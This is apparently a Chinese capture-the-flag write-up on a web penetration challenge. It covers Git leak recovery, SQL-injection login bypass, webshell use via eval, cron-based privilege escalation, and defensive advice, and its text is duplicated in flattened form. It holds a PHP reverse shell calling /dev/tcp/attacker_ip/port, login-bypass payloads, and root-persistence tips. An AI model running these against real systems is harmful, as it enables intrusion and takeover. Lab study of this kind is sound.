长城杯2025-渗透Web-Git
字数 1621 2025-08-29 08:29:59

Git泄露与Web渗透实战教学文档

1. Git泄露漏洞利用

1.1 漏洞发现

  • 使用目录扫描工具(如dirsearch、gobuster)扫描Web目录
  • 常见泄露路径:/.git//.git/config/.git/HEAD
  • 检测方法:返回200状态码或特定Git文件内容

1.2 利用工具

推荐使用Git_Extract工具(https://github.com/gakki429/Git_Extract):

python Git_Extract.py http://target.com/.git/

1.3 恢复Git仓库

工具会自动:

  1. 下载.git目录中的所有对象
  2. 重建Git仓库结构
  3. 恢复源代码和历史提交记录

1.4 获取flag1

  • 检查恢复的源代码中可能包含的敏感信息
  • 查看历史提交记录:git log
  • 检查所有文件内容:git show或直接查看文件

2. 后台漏洞利用

2.1 万能密码登录

  • 尝试常见SQL注入payload登录后台:
    admin' or '1'='1'-- 
    admin' or 1=1#
    
  • 即使功能有限,也要检查所有可见元素

2.2 文件路径发现

  • 检查静态资源路径(如图片、CSS、JS)
  • 本例中通过头像路径发现同目录下的PHP文件
  • 尝试常见后门文件名:shell.phpcmd.phpbackdoor.php

2.3 Web后门利用

发现后门参数为a,但只支持GET请求:

?a=system("whoami");

转换为POST请求方式:

?a=eval($_POST[a]);

然后可使用蚁剑等工具连接:

  • 连接URL:http://target.com/path/to/shell.php
  • 密码:a

2.4 获取flag4

  • 在后门提供的文件系统中搜索flag文件
  • 检查常见flag位置:/var/www/html//tmp//home/

3. 数据库提权与横向移动

3.1 数据库凭据获取

  • 在Web应用配置文件中查找(config.php等)
  • 本例中在数据库中发现了ryan用户的密码

3.2 数据库连接方式

  1. 通过代理连接本地数据库:
    proxychains mysql -u ryan -p -h localhost
    
  2. 通过蚁剑的数据库连接功能

3.3 UDF提权尝试

  • 尝试通过MySQL UDF函数提权
  • 常见问题:插件目录不可写或权限不足

3.4 用户切换

使用获取的密码切换到ryan用户:

su ryan

注意:需要具有TTY的shell,推荐使用Venom等工具获取完整功能shell

3.5 读取邮件获取flag3

Linux系统邮件通常存储在:

/var/mail/<username>
cat /var/mail/ryan

4. 定时任务提权

4.1 进程监控

上传并运行pspy64监控进程:

./pspy64

发现root每3分钟执行del.py

4.2 利用方法

  1. 修改del.py内容为反弹shell命令:
    import os
    os.system("php /tmp/a.php")
    
  2. 创建a.php反弹shell:
    <?php 
    exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/port 0>&1'");
    ?>
    
  3. 替代方法:
    • 修改/etc/passwd添加root权限用户
    • 写入SSH公钥
    • 上线C2框架

4.3 获取flag5

  • 根据提示,flag5在root目录下的aim.jpg中
  • 提权后直接读取:
    cat /root/aim.jpg
    

5. 关键工具与命令总结

工具/命令 用途
Git_Extract 恢复泄露的Git仓库
pspy64 监控进程执行情况
Venom 获取TTY shell
proxychains 通过代理连接服务
mysql -u -p -h 连接MySQL数据库
su 切换用户

6. 防御建议

  1. Git泄露防护

    • 生产环境删除.git目录
    • 配置Web服务器禁止访问.git目录
    • 使用.gitignore文件排除敏感文件
  2. 后台安全

    • 使用预编译语句防止SQL注入
    • 实施强密码策略
    • 限制后台访问IP
  3. 文件系统安全

    • 定期检查Web目录下异常文件
    • 设置严格的文件权限
    • 禁用危险函数(如eval、system等)
  4. 系统安全

    • 定期检查crontab任务
    • 监控/var/mail目录
    • 限制sudo权限和su命令使用
  5. 数据库安全

    • 使用最小权限原则
    • 禁用FILE和EXECUTE权限
    • 定期审计数据库用户和权限
Git泄露与Web渗透实战教学文档 1. Git泄露漏洞利用 1.1 漏洞发现 使用目录扫描工具(如dirsearch、gobuster)扫描Web目录 常见泄露路径: /.git/ 、 /.git/config 、 /.git/HEAD 等 检测方法:返回200状态码或特定Git文件内容 1.2 利用工具 推荐使用Git_ Extract工具(https://github.com/gakki429/Git_ Extract): 1.3 恢复Git仓库 工具会自动: 下载.git目录中的所有对象 重建Git仓库结构 恢复源代码和历史提交记录 1.4 获取flag1 检查恢复的源代码中可能包含的敏感信息 查看历史提交记录: git log 检查所有文件内容: git show 或直接查看文件 2. 后台漏洞利用 2.1 万能密码登录 尝试常见SQL注入payload登录后台: 即使功能有限,也要检查所有可见元素 2.2 文件路径发现 检查静态资源路径(如图片、CSS、JS) 本例中通过头像路径发现同目录下的PHP文件 尝试常见后门文件名: shell.php 、 cmd.php 、 backdoor.php 等 2.3 Web后门利用 发现后门参数为 a ,但只支持GET请求: 转换为POST请求方式: 然后可使用蚁剑等工具连接: 连接URL: http://target.com/path/to/shell.php 密码: a 2.4 获取flag4 在后门提供的文件系统中搜索flag文件 检查常见flag位置: /var/www/html/ 、 /tmp/ 、 /home/ 等 3. 数据库提权与横向移动 3.1 数据库凭据获取 在Web应用配置文件中查找(config.php等) 本例中在数据库中发现了ryan用户的密码 3.2 数据库连接方式 通过代理连接本地数据库: 通过蚁剑的数据库连接功能 3.3 UDF提权尝试 尝试通过MySQL UDF函数提权 常见问题:插件目录不可写或权限不足 3.4 用户切换 使用获取的密码切换到ryan用户: 注意 :需要具有TTY的shell,推荐使用Venom等工具获取完整功能shell 3.5 读取邮件获取flag3 Linux系统邮件通常存储在: 4. 定时任务提权 4.1 进程监控 上传并运行pspy64监控进程: 发现root每3分钟执行 del.py 4.2 利用方法 修改del.py内容为反弹shell命令: 创建a.php反弹shell: 替代方法: 修改/etc/passwd添加root权限用户 写入SSH公钥 上线C2框架 4.3 获取flag5 根据提示,flag5在root目录下的aim.jpg中 提权后直接读取: 5. 关键工具与命令总结 | 工具/命令 | 用途 | |-----------|------| | Git_ Extract | 恢复泄露的Git仓库 | | pspy64 | 监控进程执行情况 | | Venom | 获取TTY shell | | proxychains | 通过代理连接服务 | | mysql -u -p -h | 连接MySQL数据库 | | su | 切换用户 | 6. 防御建议 Git泄露防护 : 生产环境删除.git目录 配置Web服务器禁止访问.git目录 使用.gitignore文件排除敏感文件 后台安全 : 使用预编译语句防止SQL注入 实施强密码策略 限制后台访问IP 文件系统安全 : 定期检查Web目录下异常文件 设置严格的文件权限 禁用危险函数(如eval、system等) 系统安全 : 定期检查crontab任务 监控/var/mail目录 限制sudo权限和su命令使用 数据库安全 : 使用最小权限原则 禁用FILE和EXECUTE权限 定期审计数据库用户和权限